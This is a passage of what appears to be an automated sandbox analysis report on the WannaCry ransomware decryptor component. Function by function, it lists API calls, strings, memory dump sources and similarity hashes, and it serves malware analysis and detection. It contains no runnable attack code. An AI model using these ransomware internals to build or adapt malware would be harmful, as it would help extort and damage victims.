                                        • Instruction Fuzzy Hash: 1921E670344701ABD220EF25CC02FAB7B98AB84B15F10463EF659A72D0DBBCA5058B9D
                                        Function 00404090 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 55COMMON
                                        Download Yara Rule
                                        APIs
                                        • #567.MFC42(?,?,?,?,?,?,00413739,000000FF), ref: 004040B0
                                        • #540.MFC42(?,?,?,?,?,?,00413739,000000FF), ref: 004040C6
                                        • #540.MFC42(?,?,?,?,?,?,00413739,000000FF), ref: 004040D5
                                        • #860.MFC42(00421798), ref: 004040F6
                                        • #858.MFC42(00000000,00421798), ref: 004040FE
                                        • LoadCursorA.USER32(00000000,00007F89), ref: 00404118
                                        • LoadCursorA.USER32(00000000,00007F00), ref: 00404123
                                        Strings
                                        Memory Dump Source
                                        • Source File: 0000001F.00000002.5895687512.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 0000001F.00000002.5895506600.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5895891546.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896369524.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_31_2_400000_@WanaDecryptor@.jbxd
                                        Similarity
                                        • API ID: #540CursorLoad$#567#858#860
                                        • String ID: 0ZA
                                        • API String ID: 2440951079-2594568282
                                        • Opcode ID: 16eebf364e087f87632c2e7a7835be7f4f2429e092200a979286dc3c7585418b
                                        • Instruction ID: e4089f7d30d89e223e5e607c52669a324e752666537a285565f49de8eb968109
                                        • Opcode Fuzzy Hash: 16eebf364e087f87632c2e7a7835be7f4f2429e092200a979286dc3c7585418b
                                        • Instruction Fuzzy Hash: 20119071244B909FC320DF1AC941B9AFBE8BBC5704F80492EE18693741C7FDA4488B99
                                        Function 00407CB0 Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 40COMMON
                                        Download Yara Rule
                                        APIs
                                          • Part of subcall function 004030E0: #324.MFC42(0000008A,?,?,?,?,?,?,004135B3,000000FF), ref: 00403109
                                          • Part of subcall function 004030E0: #567.MFC42(0000008A,?,?,?,?,?,?,004135B3,000000FF), ref: 00403119
                                          • Part of subcall function 004030E0: #567.MFC42(0000008A,?,?,?,?,?,?,004135B3,000000FF), ref: 00403131
                                        • #2514.MFC42 ref: 00407CE5
                                        • #2414.MFC42 ref: 00407D1A
                                        • #2414.MFC42 ref: 00407D4F
                                        • #616.MFC42 ref: 00407D6E
                                        • #693.MFC42 ref: 00407D7F
                                        • #641.MFC42 ref: 00407D93
                                        Strings
                                        Memory Dump Source
                                        • Source File: 0000001F.00000002.5895687512.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 0000001F.00000002.5895506600.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5895891546.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896369524.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_31_2_400000_@WanaDecryptor@.jbxd
                                        Similarity
                                        • API ID: #2414#567$#2514#324#616#641#693
                                        • String ID: [A$[A
                                        • API String ID: 3779294304-353784214
                                        • Opcode ID: 8cb0ee6c83bcfaf23f1674bf443e371668351bddcb93b585418f44b11fe32095
                                        • Instruction ID: 921579082029cd8bb4f4eae6bba3465eb1c6e4c5ad01fea5c96a88f9cf2edf1e
                                        • Opcode Fuzzy Hash: 8cb0ee6c83bcfaf23f1674bf443e371668351bddcb93b585418f44b11fe32095
                                        • Instruction Fuzzy Hash: B511A7B404D7C1CBD334DF14C255BEEBBE4BBA4714F40891EA5D947681EBB81188CA57
                                        Function 0040C240 Relevance: 13.7, APIs: 9, Instructions: 195windowfileCOMMON
                                        Download Yara Rule
                                        APIs
                                          • Part of subcall function 0040BED0: #823.MFC42(0000002C), ref: 0040BF0C
                                        • SendMessageA.USER32(?,00004E20,00000000,00000000), ref: 0040C2B6
                                        • SendMessageA.USER32(?,00004E20,00000000,00000000), ref: 0040C2E3
                                        • SendMessageA.USER32(?,00004E21,000000FF,00000000), ref: 0040C3B7
                                        • SendMessageA.USER32(?,00004E21,00000000,00000000), ref: 0040C3EE
                                        • SendMessageA.USER32(?,00004E22,000000FF,00000000), ref: 0040C427
                                        • fopen.MSVCRT ref: 0040C46B
                                        • fwrite.MSVCRT ref: 0040C489
                                        • fclose.MSVCRT ref: 0040C48F
                                        • SendMessageA.USER32(?,00004E22,00000000,00000000), ref: 0040C4A9
                                        Memory Dump Source
                                        • Source File: 0000001F.00000002.5895687512.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 0000001F.00000002.5895506600.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5895891546.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896369524.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_31_2_400000_@WanaDecryptor@.jbxd
                                        Similarity
                                        • API ID: MessageSend$#823fclosefopenfwrite
                                        • String ID:
                                        • API String ID: 1132507536-0
                                        • Opcode ID: 8015c574444b46ea95aa7a5c372928425bf19f7a7df4c5ec4de0add245179140
                                        • Instruction ID: 95d53ca3448e84e776e95c4e63a8e9d5249152c92c36a986718404cc297984b8
                                        • Opcode Fuzzy Hash: 8015c574444b46ea95aa7a5c372928425bf19f7a7df4c5ec4de0add245179140
                                        • Instruction Fuzzy Hash: F171F471204341EBD220DF51CC85FABB7E8FF88714F004B2EB6546B2D1CA78A909C79A
                                        Function 00401A90 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 68processsynchronizationCOMMON
                                        Download Yara Rule
                                        APIs
                                        • CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,00000000,00000000), ref: 00401AE3
                                        • WaitForSingleObject.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000), ref: 00401AFB
                                        • TerminateProcess.KERNEL32(?,000000FF,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000), ref: 00401B0C
                                        • GetExitCodeProcess.KERNEL32(?,?), ref: 00401B20
                                        • CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,00000000), ref: 00401B31
                                        • CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,00000000), ref: 00401B38
                                        Strings
                                        Memory Dump Source
                                        • Source File: 0000001F.00000002.5895687512.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 0000001F.00000002.5895506600.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5895891546.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896369524.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_31_2_400000_@WanaDecryptor@.jbxd
                                        Similarity
                                        • API ID: Process$CloseHandle$CodeCreateExitObjectSingleTerminateWait
                                        • String ID: D
                                        • API String ID: 786732093-2746444292
                                        • Opcode ID: 8373994cf4ca8ab825e0652bf8987f65ecb589941da35eb0d7e9f8387e0e63d6
                                        • Instruction ID: a0d0216a4cd299e90b964b762458f17e6b97ac91bf96c8f45188d14ebb685e04
                                        • Opcode Fuzzy Hash: 8373994cf4ca8ab825e0652bf8987f65ecb589941da35eb0d7e9f8387e0e63d6
                                        • Instruction Fuzzy Hash: 4611F7B1618311AFD310CF69C884A9BBBE9EFC8750F50892EF598D2260D774D844CBA6
                                        Function 00401140 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 49windowtimethreadCOMMON
                                        Download Yara Rule
                                        APIs
                                        • #4710.MFC42 ref: 00401145
                                        • SendMessageA.USER32(?,00000404,00000001,00000000), ref: 00401160
                                        • SendMessageA.USER32(?,00000401,00000000,00280000), ref: 00401175
                                        • #537.MFC42(Connecting to server...), ref: 0040118D
                                          • Part of subcall function 00401970: #3092.MFC42(00000406,?,00000000,004134D8,000000FF,00401199,Connecting to server...), ref: 00401997
                                          • Part of subcall function 00401970: #6199.MFC42(00000406,?,00000000,004134D8,000000FF,00401199,Connecting to server...), ref: 0040199E
                                          • Part of subcall function 00401970: #800.MFC42(00000406,?,00000000,004134D8,000000FF,00401199,Connecting to server...), ref: 004019AF
                                        • SetTimer.USER32(?,000003E9,000003E8,00000000), ref: 004011B3
                                        • CreateThread.KERNEL32(00000000,00000000,004012D0,?,00000000,00000000), ref: 004011D1
                                        Strings
                                        • Connecting to server..., xrefs: 00401188
                                        Memory Dump Source
                                        • Source File: 0000001F.00000002.5895687512.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 0000001F.00000002.5895506600.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5895891546.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896369524.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_31_2_400000_@WanaDecryptor@.jbxd
                                        Similarity
                                        • API ID: MessageSend$#3092#4710#537#6199#800CreateThreadTimer
                                        • String ID: Connecting to server...
                                        • API String ID: 3305248171-1849848738
                                        • Opcode ID: aade00bc90c5f3efc1f806a2182fbe742cea5c73be26a938389ce35b89292200
                                        • Instruction ID: 074e0af6858d04fd3a88c2e6ba563778cf6a67133e9310fa302bc50ac74eac6c
                                        • Opcode Fuzzy Hash: aade00bc90c5f3efc1f806a2182fbe742cea5c73be26a938389ce35b89292200
                                        • Instruction Fuzzy Hash: 480175B0390700BBE2305B66CC46F8BB694AF84B50F10851EF349AA2D0CAF474018B99
                                        Function 00402F10 Relevance: 10.6, APIs: 7, Instructions: 139COMMON
                                        Download Yara Rule
                                        APIs
                                        • ?_Xran@std@@YAXXZ.MSVCP60(?,00000000,?,?,?,?,00413591,000000FF,00402DE4,00000008,?,?), ref: 00402F6E
                                        • ?_Split@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEXXZ.MSVCP60(?,00000000,?,?,?,?,00413591,000000FF,00402DE4,00000008,?,?), ref: 00402F76
                                        • ?_Grow@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAE_NI_N@Z.MSVCP60(?,00000000), ref: 00402FAD
                                        • ?_Eos@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEXI@Z.MSVCP60(?), ref: 00402FBA
                                        • ?_Split@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEXXZ.MSVCP60 ref: 00402FC2
                                        • ?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z.MSVCP60(00000001,?,00000000,?,?,?,?,00413591,000000FF,00402DE4,00000008,?,?), ref: 00402FF9
                                        • ?_Grow@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAE_NI_N@Z.MSVCP60(?,00000001,?,00000000,?,?,?,?,00413591,000000FF,00402DE4,00000008,?,?), ref: 0040303A
                                        Memory Dump Source
                                        • Source File: 0000001F.00000002.5895687512.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 0000001F.00000002.5895506600.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5895891546.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896369524.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_31_2_400000_@WanaDecryptor@.jbxd
                                        Similarity
                                        • API ID: G@2@@std@@G@std@@U?$char_traits@V?$allocator@$Grow@?$basic_string@Split@?$basic_string@$Eos@?$basic_string@Tidy@?$basic_string@Xran@std@@
                                        • String ID:
                                        • API String ID: 2613176527-0
                                        • Opcode ID: 8ce352b19e6a2730b7c76d5054ffee361a812e6060838c656af55f7e3134e3cb
                                        • Instruction ID: fd0731f71cda593906caa3e5dc22cd8926dd74a2c181b66db9bbc309a642df48
                                        • Opcode Fuzzy Hash: 8ce352b19e6a2730b7c76d5054ffee361a812e6060838c656af55f7e3134e3cb
                                        • Instruction Fuzzy Hash: 9B41F431300B01CFC720DF19C984AAAFBB6FBC5711B50896EE45A87790DB39A841CB58
                                        Function 00407F80 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 101fileCOMMON
                                        Download Yara Rule
                                        APIs
                                        • fopen.MSVCRT ref: 00407FBD
                                        • fread.MSVCRT ref: 00407FDD
                                        • fclose.MSVCRT ref: 00407FE4
                                          • Part of subcall function 0040BE90: strncpy.MSVCRT ref: 0040BE9C
                                          • Part of subcall function 0040BE90: strncpy.MSVCRT ref: 0040BEAD
                                          • Part of subcall function 0040BE90: strncpy.MSVCRT ref: 0040BEBE
                                          • Part of subcall function 0040C4F0: strncpy.MSVCRT ref: 0040C628
                                        Strings
                                        Memory Dump Source
                                        • Source File: 0000001F.00000002.5895687512.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 0000001F.00000002.5895506600.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5895891546.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896369524.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_31_2_400000_@WanaDecryptor@.jbxd
                                        Similarity
                                        • API ID: strncpy$fclosefopenfread
                                        • String ID: +++$00000000.res$s.wnry
                                        • API String ID: 3363958884-869915597
                                        • Opcode ID: f68bea0f835de8c5134664bc8bdf0f2d83c21063f60135f2f8b7247afbe90d08
                                        • Instruction ID: e8fd78c0316e70a0a3c69cc1eb433b8a063ef73abc5183098f2ea38c2d595da4
                                        • Opcode Fuzzy Hash: f68bea0f835de8c5134664bc8bdf0f2d83c21063f60135f2f8b7247afbe90d08
                                        • Instruction Fuzzy Hash: D3313732600604ABD7249620DC05BFF7399EBC1324F404B3EF965B32C1EBBC6A098696
                                        Function 00401220 Relevance: 10.6, APIs: 7, Instructions: 53windowtimeCOMMON
                                        Download Yara Rule
                                        APIs
                                        • SendMessageA.USER32(?,00000402,00000028,00000000), ref: 00401253
                                        • KillTimer.USER32(?,000003E9), ref: 0040125E
                                        • #4853.MFC42 ref: 00401266
                                        • SendMessageA.USER32(?,00000408,00000000,00000000), ref: 0040127B
                                        • SendMessageA.USER32(?,00000405,00000000,00000000), ref: 00401295
                                        • SendMessageA.USER32(?,00000408,00000000,00000000), ref: 004012B1
                                        • #2379.MFC42 ref: 004012C4
                                        Memory Dump Source
                                        • Source File: 0000001F.00000002.5895687512.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 0000001F.00000002.5895506600.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5895891546.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896369524.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_31_2_400000_@WanaDecryptor@.jbxd
                                        Similarity
                                        • API ID: MessageSend$#2379#4853KillTimer
                                        • String ID:
                                        • API String ID: 178170520-0
                                        • Opcode ID: b77cb0015e8fab117b1368574dbf11fadefe02a27d4ed6d688f80b57d7754396
                                        • Instruction ID: aacaf11b8525f3fa08346ebc997e4185e7a595c9bc7dc659aa73715d177cc548
                                        • Opcode Fuzzy Hash: b77cb0015e8fab117b1368574dbf11fadefe02a27d4ed6d688f80b57d7754396
                                        • Instruction Fuzzy Hash: FD114475340B00ABD6709A74CD41F6BB3D4BB94B10F20892DF395FB2D0DAB4B8068B58
                                        Function 00403860 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43windowthreadCOMMON
                                        Download Yara Rule
                                        APIs
                                        • SendMessageA.USER32(?,00000147,00000000,00000000), ref: 0040387A
                                        • #1200.MFC42(Please select a host to decrypt.,00000000,00000000), ref: 0040388A
                                        • SendMessageA.USER32(?,00000150,00000000,00000000), ref: 0040389F
                                        • SendMessageA.USER32(?,00001009,00000000,00000000), ref: 004038B5
                                        • CreateThread.KERNEL32(00000000,00000000,004038E0,?,00000000,00000000), ref: 004038C5
                                        Strings
                                        • Please select a host to decrypt., xrefs: 00403885
                                        Memory Dump Source
                                        • Source File: 0000001F.00000002.5895687512.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 0000001F.00000002.5895506600.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5895891546.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896369524.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_31_2_400000_@WanaDecryptor@.jbxd
                                        Similarity
                                        • API ID: MessageSend$#1200CreateThread
                                        • String ID: Please select a host to decrypt.
                                        • API String ID: 3616405048-3459725315
                                        • Opcode ID: a539097f114ba3ef4a6e852f645cea6eff0ecd5b8c463f491449578d3e786054
                                        • Instruction ID: 64f0ddf58892c59834d5d68b98c76a24f926c69eeefbcfa1eb30c508a9047c0d
                                        • Opcode Fuzzy Hash: a539097f114ba3ef4a6e852f645cea6eff0ecd5b8c463f491449578d3e786054
                                        • Instruction Fuzzy Hash: C4F09032380700BAF2306775AC07FEB2698ABC4F21F25462AF718BA2C0C5F478018668
                                        Function 004044C0 Relevance: 10.5, APIs: 7, Instructions: 38windowCOMMON
                                        Download Yara Rule
                                        APIs
                                        • GetParent.USER32(?), ref: 004044D2
                                        • #2864.MFC42(00000000), ref: 004044D9
                                        • SendMessageA.USER32(?,00000031,00000000,00000000), ref: 004044E8
                                        • #2860.MFC42(00000000), ref: 004044EF
                                        • GetObjectA.GDI32(?,0000003C,?), ref: 00404503
                                        • CreateFontIndirectA.GDI32(?), ref: 00404513
                                        • #1641.MFC42(00000000), ref: 0040451D
                                        Memory Dump Source
                                        • Source File: 0000001F.00000002.5895687512.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 0000001F.00000002.5895506600.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5895891546.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896369524.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_31_2_400000_@WanaDecryptor@.jbxd
                                        Similarity
                                        • API ID: #1641#2860#2864CreateFontIndirectMessageObjectParentSend
                                        • String ID:
                                        • API String ID: 2724197214-0
                                        • Opcode ID: 0c94b8f5f5be19309df2c112ac17aff14f3c349f99fc29199b1274657e014969
                                        • Instruction ID: 8763edc8e5a6adeaffa7a86524b671660dad1b09e215c7e2bee76a425fbc91e9
                                        • Opcode Fuzzy Hash: 0c94b8f5f5be19309df2c112ac17aff14f3c349f99fc29199b1274657e014969
                                        • Instruction Fuzzy Hash: 5AF0A4B1100340AFD720EB74DE49FDB7BA86F94304F04891DB649DB1A1DAB4E944C769
                                        Function 0040C060 Relevance: 9.1, APIs: 6, Instructions: 138windowCOMMON
                                        Download Yara Rule
                                        APIs
                                          • Part of subcall function 0040BED0: #823.MFC42(0000002C), ref: 0040BF0C
                                        • SendMessageA.USER32(?,00004E20,00000000,00000000), ref: 0040C0D5
                                        • SendMessageA.USER32(?,00004E20,00000000,00000000), ref: 0040C102
                                        • SendMessageA.USER32(?,00004E21,000000FF,00000000), ref: 0040C152
                                        • SendMessageA.USER32(?,00004E21,00000000,00000000), ref: 0040C189
                                        • SendMessageA.USER32(?,00004E22,000000FF,00000000), ref: 0040C1C2
                                        • SendMessageA.USER32(?,00004E22,00000000,00000000), ref: 0040C1FE
                                        Memory Dump Source
                                        • Source File: 0000001F.00000002.5895687512.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 0000001F.00000002.5895506600.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5895891546.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896369524.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_31_2_400000_@WanaDecryptor@.jbxd
                                        Similarity
                                        • API ID: MessageSend$#823
                                        • String ID:
                                        • API String ID: 3019263841-0
                                        • Opcode ID: 99a77933eb25dcc6b16ac75c60e27f78d541e8c4006a5acf1c92d05b33b36b85
                                        • Instruction ID: af0acaa543f5011fd428c8da5e8f88cfa40878c60dbd15804793c53c70a14286
                                        • Opcode Fuzzy Hash: 99a77933eb25dcc6b16ac75c60e27f78d541e8c4006a5acf1c92d05b33b36b85
                                        • Instruction Fuzzy Hash: 4A41B570644341EBD220DF65CC85F5BB7A8BF84724F104B2DF5247B2D1C7B4A9098BAA
                                        Function 00409C20 Relevance: 9.1, APIs: 6, Instructions: 104windowCOMMON
                                        Download Yara Rule
                                        APIs
                                        • #3797.MFC42 ref: 00409C27
                                        • #6734.MFC42(?,?), ref: 00409C4E
                                        • SendMessageA.USER32(?,00000408,00000000,00000000), ref: 00409C68
                                        • #4284.MFC42(00004000,00000000,00000000,?,?), ref: 00409CCD
                                        Memory Dump Source
                                        • Source File: 0000001F.00000002.5895687512.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 0000001F.00000002.5895506600.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5895891546.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896369524.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_31_2_400000_@WanaDecryptor@.jbxd
                                        Similarity
                                        • API ID: #3797#4284#6734MessageSend
                                        • String ID:
                                        • API String ID: 1776784669-0
                                        • Opcode ID: ed9bba126cbe7da2a4edc66507331a18c8d54c82d452b791da5e82362638f036
                                        • Instruction ID: 0f06e6a1ab2a1e1858972f557de936d8f63d8015e647da1bd90f7003a846fc2f
                                        • Opcode Fuzzy Hash: ed9bba126cbe7da2a4edc66507331a18c8d54c82d452b791da5e82362638f036
                                        • Instruction Fuzzy Hash: 2F31B0727447019BE724DE28DD81B6B73E1ABC8700F10493EFA86A73C1DA78EC468759
                                        Function 004127E0 Relevance: 9.1, APIs: 6, Instructions: 103COMMON
                                        Download Yara Rule
                                        APIs
                                        • #823.MFC42(00000244,?,00000428,?,?,0041438B,000000FF,00412933,?,00000000,00000002,?,0040B6CF,?,?), ref: 004127FD
                                        • #823.MFC42(?,?,?), ref: 00412849
                                        • #825.MFC42(?), ref: 004128B5
                                        • #825.MFC42(?), ref: 004128CE
                                        • #825.MFC42(00000000), ref: 004128DD
                                        • #823.MFC42(00000008), ref: 004128FA
                                        Memory Dump Source
                                        • Source File: 0000001F.00000002.5895687512.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 0000001F.00000002.5895506600.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5895891546.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896369524.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_31_2_400000_@WanaDecryptor@.jbxd
                                        Similarity
                                        • API ID: #823#825
                                        • String ID:
                                        • API String ID: 89657779-0
                                        • Opcode ID: bc9fd826f285be58a03796ead1f3b19fceaad810a23cc7ffcdcb9fcada04bb4e
                                        • Instruction ID: dc1b5eec0fc78afcb49772100b5c76d6e8760601cde25cb5382a27e7a1041640
                                        • Opcode Fuzzy Hash: bc9fd826f285be58a03796ead1f3b19fceaad810a23cc7ffcdcb9fcada04bb4e
                                        • Instruction Fuzzy Hash: 8631A5B16006008BDB149F2E8D8169BB6D5FBC4720F18473EF929CB3C1EBB99951C755
                                        Function 0040B780 Relevance: 9.1, APIs: 6, Instructions: 68filenetworkCOMMON
                                        Download Yara Rule
                                        APIs
                                        • CreateDirectoryA.KERNEL32(?,00000000,?,770D3310,00000428), ref: 0040B793
                                        • GetTempFileNameA.KERNEL32(?,004214DC,00000000,?), ref: 0040B7D4
                                        • DeleteUrlCacheEntry.WININET(?), ref: 0040B7DB
                                        • URLDownloadToFileA.URLMON(00000000,?,?,00000000,00000000), ref: 0040B7ED
                                        • DeleteFileA.KERNEL32(?), ref: 0040B815
                                        • DeleteFileA.KERNEL32(?), ref: 0040B82C
                                          • Part of subcall function 0040B6A0: CreateDirectoryA.KERNELBASE(?,00000000,?,770D3310,00000000,00000428), ref: 0040B6B4
                                          • Part of subcall function 0040B6A0: DeleteFileA.KERNEL32(?), ref: 0040B6D9
                                        Memory Dump Source
                                        • Source File: 0000001F.00000002.5895687512.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 0000001F.00000002.5895506600.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5895891546.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896369524.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
